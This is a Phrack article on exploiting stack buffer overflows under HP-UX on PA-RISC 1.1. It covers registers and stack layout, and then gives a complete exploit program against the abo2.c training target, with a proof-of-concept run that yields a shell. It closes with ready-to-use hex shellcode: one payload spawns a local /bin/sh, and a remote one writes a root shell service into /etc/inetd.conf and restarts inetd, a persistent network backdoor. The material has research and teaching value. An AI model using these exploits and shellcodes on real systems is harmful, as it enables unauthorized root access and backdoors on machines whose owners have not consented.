==Phrack Inc.== Volume 0x0b, Issue 0x3a, Phile #0x0b of 0x0e |=-----------------=[ HP-UX (PA-RISC 1.1) Overflows ]=-------------------=| |=-----------------------------------------------------------------------=| |=----------------=[ Zhodiac ]=------------------=| --[ Introduction. Damn it, another buffer overflow document!! Well, this paper is not intended to explain buffer overflow exploitations, neither is intended to explain asm coding. This paper focuses mainly in three topics: HP-UX/PA-RISC registers and stack organization, a solution for abo2.c (located at community.core-sdi.org/~gera/InsecureProgramming/) and finally two shellcodes for this OS/arch. It covers basic topics to start exploiting buffer overflows under HP-UX/PA-RISC 1.1. This paper is divided into the following sections: 1. PA-RISC Introduction 1.1. RISC fundamentals 1.2. Registers 1.3. Leaf and non-leaf functions 2. Stack organization 3. Advance Buffer Overflow #2 4. Extras 4.1. Local Shellcode 4.2. Remote Shellcode 5. Resources 6. Greetings --[ 1. PA-RISC Introduction --[ 1.1. RISC fundamentals RISC (Reduced Instruction Set Computing) refers to procesors with a reduced instruction set, and with the ability to do the same tasks of a CISC processor (Complex Instruction Set Computing). RISC processors have some common caracteristics: - Load, store design for memory access - Reduce number of addressing - Instruction size is always the same (Speeds up) - Few instructions format - More use of registers rather than memory Deep in PA-RISC arch we have some more defined caracteristics: - Immediate addressing, base relative without offset - Predecrement in an instruction - Postincrement in an instruction - 12 instruction formats, all of them have 32 bits --[ 1.2. Registers On PA-RISC 1.1 there are four types of registers: - General registers (32) - Float point registers (32) - Space registers (8) - Control registers (25) We will focus on the "General registers" which are the ones that get involved in shellcodes programming and buffer overflow exploiting. These registers can be used at any time even when cpu is not on privilege state, except %gr0 (%r0) as we will see. Lets explain some uses of the general registers - %gr0: Always contains the value 0 and if you write something on it, will be discarded - %gr1: It is the implicit target register of the ADDIL instruction. When calling a shared library function it will store the return address of the so called "shared library stub" before calling the function - %gr2 (%rp): In this register it is stored the return address when a function call is done with BL (Branch and Link) - %gr3-%gr21: General use registers - %gr19: Is the linkage table base register when calling a shared library function - %gr22: Stores the syscall number when you are going to call one of them - %gr23-gr26: Stores the functions arguments arg0-arg3 - %gr28,gr29 (%ret0, %ret1): In %gr28 is stored the return value of a function or syscall. (An inmediat value or a reference address). Under certain circunstances the value is sotred in %gr29 - %gr30: Here it is sotred the current Stack pointer. It has to be aligned to 16 bits - %gr31: Under PA-RISC 2.0 it contains the return address when a BLE instruction is executed Some final notes: - Under PA-RISC 1.0 there are only 16 Floating-Point registers and under PA-RISC 1.1 and 2.0 there are 32 - Control registers are only accessible when the CPU is in privilege mode - Under PA-RISC 2.0 registers size is 64 bits --[ 1.3. Leaf and non-leaf functions There are mainly two classes of functions under HP-UX (similar as SPARC): - Leaf functions: They DO NOT call any further function. Leaf funtions, since they do not call any further function never store %rp in memory because it will never be overwritting by a new function called. Here is an example on code and its gdb disass dump of a leaf function. HP9000:~/overflows/leaf$ cat leaf.c int leaf(char *buff) { int a=0; a=1; } int main(int argc, char **argv) { leaf(argv[1]); } HP9000:~/overflows/leaf$ You can see in the gdb disass dump it never saves %rp in stack. (gdb) disass leaf Dump of assembler code for function foo: 0x3280 : copy r3,r1 0x3284 : copy sp,r3 0x3288 : stw,ma r1,40(sr0,sp) 0x328c : stw r26,-24(sr0,r3) 0x3290 : stw r0,8(sr0,r3) 0x3294 : ldi 1,r19 0x3298 : stw r19,8(sr0,r3) 0x329c : ldo 40(r3),sp 0x32a0 : ldw,mb -40(sr0,sp),r3 0x32a4 : bv,n r0(rp) End of assembler dump. (gdb) - Non-Leaf funtions: They DO call at least one function. Non-Leaf funtions, since they do not call any further function always stores %rp in stack (as we will see) because the function called is going to overwrite %rp with its wn return pointer. Here is an example on code and its gdb disass dump of a leaf funtion. HP9000:~/overflows/non-leaf$ cat non-leaf.c int non_leaf(char *buff) { int a=0; a=1; sleep(1); } int main(int argc, char **argv) { non_leaf(argv[1]); } HP9000:~/overflows/non-leaf$ You can see in the gdb disass dump it saves %rp in stack at "stw rp,-14(sr0,sp)". (gdb) disass non_leaf Dump of assembler code for function foo: 0x32b0 : stw rp,-14(sr0,sp) 0x32b4 : copy r3,r1 0x32b8 : copy sp,r3 0x32bc : stw,ma r1,80(sr0,sp) 0x32c0 : stw r26,-24(sr0,r3) 0x32c4 : stw r0,8(sr0,r3) 0x32c8 : ldi 1,r19 0x32cc : stw r19,8(sr0,r3) 0x32d0 : ldi 1,r26 0x32d4 : b,l 0x3298 ,rp 0x32d8 : nop 0x32dc : ldw -14(sr0,r3),rp 0x32e0 : ldo 40(r3),sp 0x32e4 : ldw,mb -40(sr0,sp),r3 0x32e8 : bv,n r0(rp) 0x32ec : break 0,0 End of assembler dump. (gdb) --[ 2. Stack organization The following stack organization is brought up under PA-RISC 1.1 on a HP-UX B10.20 and using the gcc compiler (though i will explain some few thing of native cc). I have not seen any documentation about this stuff, so it was based on gdb and my deduction ability. PA-RISC does not have instructions like "save", "restore" to save the registers values in a function prelude as SPARC does. all this stuff is implemented via software and changes between compilers. We will focus on non-leaf functions that are the ones that get involved on buffer overflows. All "non-leaf" functions implements a prelude and a final of a funtion, for example in main(): 0x3380
: stw rp,-14(sr0,sp) 0x3384 : copy r3,r1 0x3388 : copy sp,r3 0x338c : stw,ma r1,40(sr0,sp) 0x3390 : stw r26,-24(sr0,r3) 0x3394 : stw r25,-28(sr0,r3) ... 0x33e0 : ldw -14(sr0,r3),rp 0x33e4 : ldo 40(r3),sp 0x33e8 : ldw,mb -40(sr0,sp),r3 0x33ec : bv,n r0(rp) We are going to see step by step what is going on: - 0x3380
: stw rp,-14(sr0,sp) Store the return address (in %rp after the BL) in %sp-0x14. Native C compiler stores it in %sp-0x18. - 0x3384 : copy r3,r1 Make a copy of %r3 in %r1. This is because in %r3 will store the %sp of the previous function, as we will see. - 0x3388 : copy sp,r3 Copy %sp in %r3. - 0x338c : stw,ma r1,40(sr0,sp) Stores %r1 (the sp of to back functions) in the stack and increments %sp in 0x40. This 0x40 is because it reserves space for its own local variables plus 64 bytes for the frame maker and the arguments of the following function. (Notice the frame maker is of the next function that is to be called, this is very important!). - 0x3390 : stw r26,-24(sr0,r3) Copies the first argument (%r26) of the function to stack (space reserved of the last function), at %r3 (last %sp) - 0x24. - 0x3394 : stw r25,-28(sr0,r3) Copies the second argument (%r25) of the fucntion to stack (space reserved of the last function), at %r3 (last %sp) - 0x28. Like the last two instructions mechanism, the first four arguments will be stored (%r26-%r23). In case there are more than four arguments before the jmp to the function is done they will be store in stack where they fit. F.e. arg4 ---> %r3 - 52 arg5 ---> %r3 - 56 arg6 ---> %r3 - 60 ... So the stack organization will look like this: | | --------------------------- %sp \ | | | | | | | | | | | | | | | | | | Space reserved | | | for the Frame Maker | | | and the arguments | | | of the following | | | function. | | | Always 64 bytes. | | | | | | | | | | | | | | | --------------------------- / | | \ | | | Space reserved for ... | the local variables | | | of the function | | | + 4 bytes (%r1) | %r1 | / --------------------------- %r3 \ -4 | | | -8 | | | -12 | | | Frame Maker of the -16 | | | current function -20 | %r2 (%rp) gcc | | -24 | %r2 (%rp) cc | | -28 | | | -32 | | / -36 | arg1 = %r26 | \ -40 | arg2 = %r25 | | -44 | arg3 = %r24 | | Space reserved -48 | arg4 = %r23 | | for the arguments -52 | arg5 | | of the current -56 | ... | | function -60 | | | -64 | | | --------------------------- / | | With this usefull information, if a buffer overflow happens in stack and we overflow a local variable of a function, we will overwrite the Frame Maker of the next function called. This "next function" used to be the function that makes the copy of the buffer, f.e. strcpy(), sprintf() etc. This is why the following program could not be exploited because there is not a "next function" that copies the buffer, because we copy the buffer with a while. void vulnerable_func(char *buffer) { char buffer2[128]; int counter=0; while(buffer[counter]!='\0') { buffer2[counter]=buffer[counter]; counter++; } printf("Buffer: %s\n",buffer); } int main(int argc, char **argv) { vulnerable_func(argv[1]); } In the end part of each function we undo all the operations we have seen: read %rp from stack, restore %sp and %r3 and branches to %rp. --[ 3. Advanced Buffer Overflow #2 In the following web page: http://community.core-sdi.com/~gera/InsecureProgramming/ there are some programs vulnerable to many types of bugs such as buffer overflow, heap overflow, format string bugs, ... We will focus in the Advance Buffer Overflow #2 (abo2.c) which gave many people headaches. HP9000:~/overflows/sample$ cat abo2.c /* abo2.c * * specially crafted to feed your brain by gera@core-sdi.com */ /* This is a tricky example to make you think * * and give you some help on the next one */ int main(int argv,char **argc) { char buf[256]; strcpy(buf,argc[1]); exit(1); } HP9000:~/overflows/sample$ Many people say that "its exploitation is not possible". I go further saying "its exploitation is not possible in x86 architectures", but in others like PA-RISC it can be exploitable. In x86 platforms, by supplying a buffer long enough, you will overwrite the return address of main(), but due to the uneludable exit() we will never have the control of the flow of the vulnerable program. Better said: "I have not been able to have control of it ;P" We have to find a way to control the flow of our program before exit() is executed. Under HP-UX10.20/PA-RISC, because stack (%r30 or %sp) grows from lower address to higher address (against some other architectures do such as Linux x86) and also due to the stack organization explained in this document, we will not overwrite the return address of main() but we will overwrite the return address of strcpy(). So once the buffer is copied, and once strcpy branches to its own %rp, it will go to our shellcode having control of the flow of the program before exit() is executed. All this is due to strcpy(), is implemented, under HP-UX B.10.20 as a non-leaf funtion (it will store its own return pointer in stack). Fyodor Yarochkin told me that strcpy() under HP-UX 11.00 is implemented as a leaf funtion, so this particular overflow will not be exploitable on that version of HP-UX. I am not saying strcpy()'s overflows are not posible to exploit under HP-UX 11.00. Take a look at this piece of code and find why it is still possible. HP9000:~/overflows/hp11-strcpy$ cat hp11-strcpy.c void foo(char *buff,char *dest) { strcpy(dest,buff); } int main(int argc, char **argv) { char buffer[128]; foo(argv[1],buffer); } HP9000:~/overflows/hp11-strcpy$ Proof of concept: HP9000:~/overflows/sample$ uname -a HP-UX HP9000 B.10.20 A 9000/712 2013496278 two-user license HP9000:~/overflows/abo2$ cat abo2.c /* abo2.c * * specially crafted to feed your brain by gera@core-sdi.com */ /* This is a tricky example to make you think * * and give you some help on the next one */ int main(int argv,char **argc) { char buf[256]; strcpy(buf,argc[1]); exit(1); } HP9000:~/overflows/abo2$ HP9000:~/overflows/abo2$ cat xploit.c /* * abo2.c xploit by Zhodiac * * http://community.core-sdi.com/~gera/InsecureProgramming/ * * Xploited on HPUX * 9/9/2001 * * Madrid * */ #include //#define NOP 0x3902800b #define NOP 0x08630243 #define BUFFSIZE 256+48+1 #define NUMADDR 10 #define OFFSET -80 char shellcode[] = "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe" "\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe" "/bin/sh\xff"; long get_sp(void) { __asm__("copy %sp,%ret0 \n"); } int main(int argc, char *argv[]) { char buffer[BUFFSIZE]; char *ch_ptr; unsigned long addr,offset=OFFSET; int aux; if (argc==2) offset=atoi(argv[1]); addr=get_sp()+offset; memset(buffer,0,sizeof(buffer)); ch_ptr=(char *)buffer; for (aux=0; aux<(BUFFSIZE-strlen(shellcode)-NUMADDR*4)/4; aux++) { *(ch_ptr++)=(NOP>>24)&255; *(ch_ptr++)=(NOP>>16)&255; *(ch_ptr++)=(NOP>>8)&255; *(ch_ptr++)=NOP&255; } memcpy(ch_ptr,shellcode,strlen(shellcode)); ch_ptr+=strlen(shellcode); for (aux=0; aux>24)&255; *(ch_ptr++)=(addr>>16)&255; *(ch_ptr++)=(addr>>8)&255; *(ch_ptr++)=addr&255; } buffer[BUFFSIZE-1]='\0'; printf("Return Address %#x\n",addr); printf("Buffer Size: %i\n",strlen(buffer)); if (execl("./abo2","abo2",buffer,NULL)==-1) { printf("Error at execl()\n"); exit(-1); } } HP9000:~/overflows/abo2$ HP9000:~/overflows/abo2$ gcc -o xploit xploit.c HP9000:~/overflows/abo2$ gcc -o abo2 abo2.c HP9000:~/overflows/abo2$ ./xploit Return Address 0x7b03a5b0 Buffer Size: 304 $ uname -a HP-UX HP9000 B.10.20 A 9000/712 2013496278 two-user license $ exit HP9000:~/overflows/abo2$ --[ 4. Extras Here are two shellcodes for HP-UX. First is a local one, it just executes a /bin/sh but notice its reduced size, only 47 bytes. Second one was, in its development time, the first remote shellcode I know about. It uses inetd to put a shell on a tcp port. There is a third shellcode which implements all syscalls socket(), bind(), dup2() but I lost it. Shit happens (Also fsck does also). :( --[ 4.1. Local Shellcode Nowadays there are some HP-UX shellcode (Fyodor's home some developed, lsd-pl some more), but in its development time the only one public was the one of K2 of ADM. This shellcode is a bit optimized, because it is 13 bytes lower in size. /* * HP-UX 47 bytes shellcode * * By Zhodiac * * Madrid, 13/05/2001 * */ char shellcode[]= "\xe8\x3f\x1f\xfd" /* bl salto,%r1 */ "\x0b\x39\x02\x99" /* salto: xor %r25,%r25,%r25 */ "\x34\x02\x04\xc0" /* ldi 0x260,%r2 */ "\x08\x41\x04\x03" /* sub %r1,%r2,%r3 */ "\x60\x79\x05\x08" /* stb %r25,0x284(%sr0,%r3) */ "\xb4\x7a\x04\xfa" /* addi 0x27D,%r3,%r26 */ "\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */ "\x20\x20\x08\x01" /* ldil L'0xC0000004,%r1 */ "\xe4\x20\xe0\x08" /* ble R'0xC0000004(%sr7,%r1) */ "\x94\x56\x05\x36" /* subi 0x29b,%r2,%r22 */ "/bin/sh"; --[ 4.2. Remote Shellcode /* * HP-UX remote shellcode * * By Zhodiac * * Madrid, 14/05/2001 * */ char shellcode[]= "\xe8\x3f\x1f\xfd" /* bl salto,%r1 */ "\x0b\x39\x02\x99" /* salto: xor %r25,%r25,%r25 */ "\x34\x02\x04\xc0" /* ldi 0x260,%r2 */ "\x08\x41\x04\x03" /* sub %r1,%r2,%r3 */ "\x60\x79\x05\x78" /* stb %r25,0x2BC(%sr0,%r3) */ "\x60\x79\x05\x7e" /* stb %r25,0x2BF(%sr0,%r3) */ "\x68\x79\x05\x62" /* stw %r25,0x2AE(%sr0,%r3) */ "\xb4\x7a\x05\x6A" /* addi 0x2B5,%r3,%r26 */ "\x0f\x5a\x12\x81" /* stw %r26,-16(%sr0,%r26) */ "\x94\x44\x04\xd0" /* subi 0x268,%r2,%r4 */ "\x0b\x44\x06\x04" /* add %r4,%r26,%r4 */ "\x0f\x44\x12\x89" /* stw %r4,-12(%sr0,%r26) */ "\x94\x44\x04\xd6" /* subi 0x26C,%r2,%r4 */ "\x0b\x44\x06\x04" /* add %r4,%r26,%r4 */ "\x0f\x44\x12\x91" /* stw %r4,-8(%sr0,%r26) */ "\xb7\x59\x07\xe1" /* addi -16,%r26,%r25 */ "\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */ "\x20\x20\x08\x01" /* ldil L'0xC0000004,%r1 */ "\xe4\x20\xe0\x08" /* ble R'0xC0000004(%sr7,%r1) */ "\x94\x56\x05\x36" /* subi 0x29b,%r2,%r22 */ "AAAA" "BBBB" "CCCC" "ZZZZ" "/bin/sh -c echo \"eklogin stream tcp nowait root /bin/sh sh -i\" >> " "/etc/inetd.conf ; /usr/sbin/inetd -c ; "; --[ 5. References For further information you may consult: [1] Some PDFs i found at http://www.freelsd.net/~ndubee/ (Great collection :) and http://docs.hp.com/ * PA-RISC 1.1 Architecture and Instruction Set Reference Manual * PA-RISC Architecture and Instruction Set Reference Manual * http://www.devresource.hp.com/partner/rad.10.20.pdf * http://www.devresource.hp.com/partner/rad.11.0.32.pdf [2] PA-RISC 2.0 Architecture Gerry Kane ISBN 0-13-182734-0 [3] Buffer overflow on non-intel platforms (BlackHat 2001 Asia) Fyodor Yarochkin. http://www.notlsd.net/bof/index.html [4] lsd-pl HP-UX shellcodes (You people, are really good! Hope to talk to you in future!) http://lsd-pl.net [5] You can mail me with any doubt you have :) Zhodiac --[ 6.- Greetings - [CrAsH], without her support this document would not exist. :*** - DarkCode for long long time talking about SPARC and PA-RISC archs :) - Fyodor Yarochkin for the few, but great, chats we had about PA-RISC. For the review of this paper. Thx. - El Nahual for having fun in real and net-life ;P I owe you a mail. - 0xdeadcafe mail-list for great discussion topics. Madrid 11/10/2001 |=[ EOF ]=---------------------------------------------------------------=|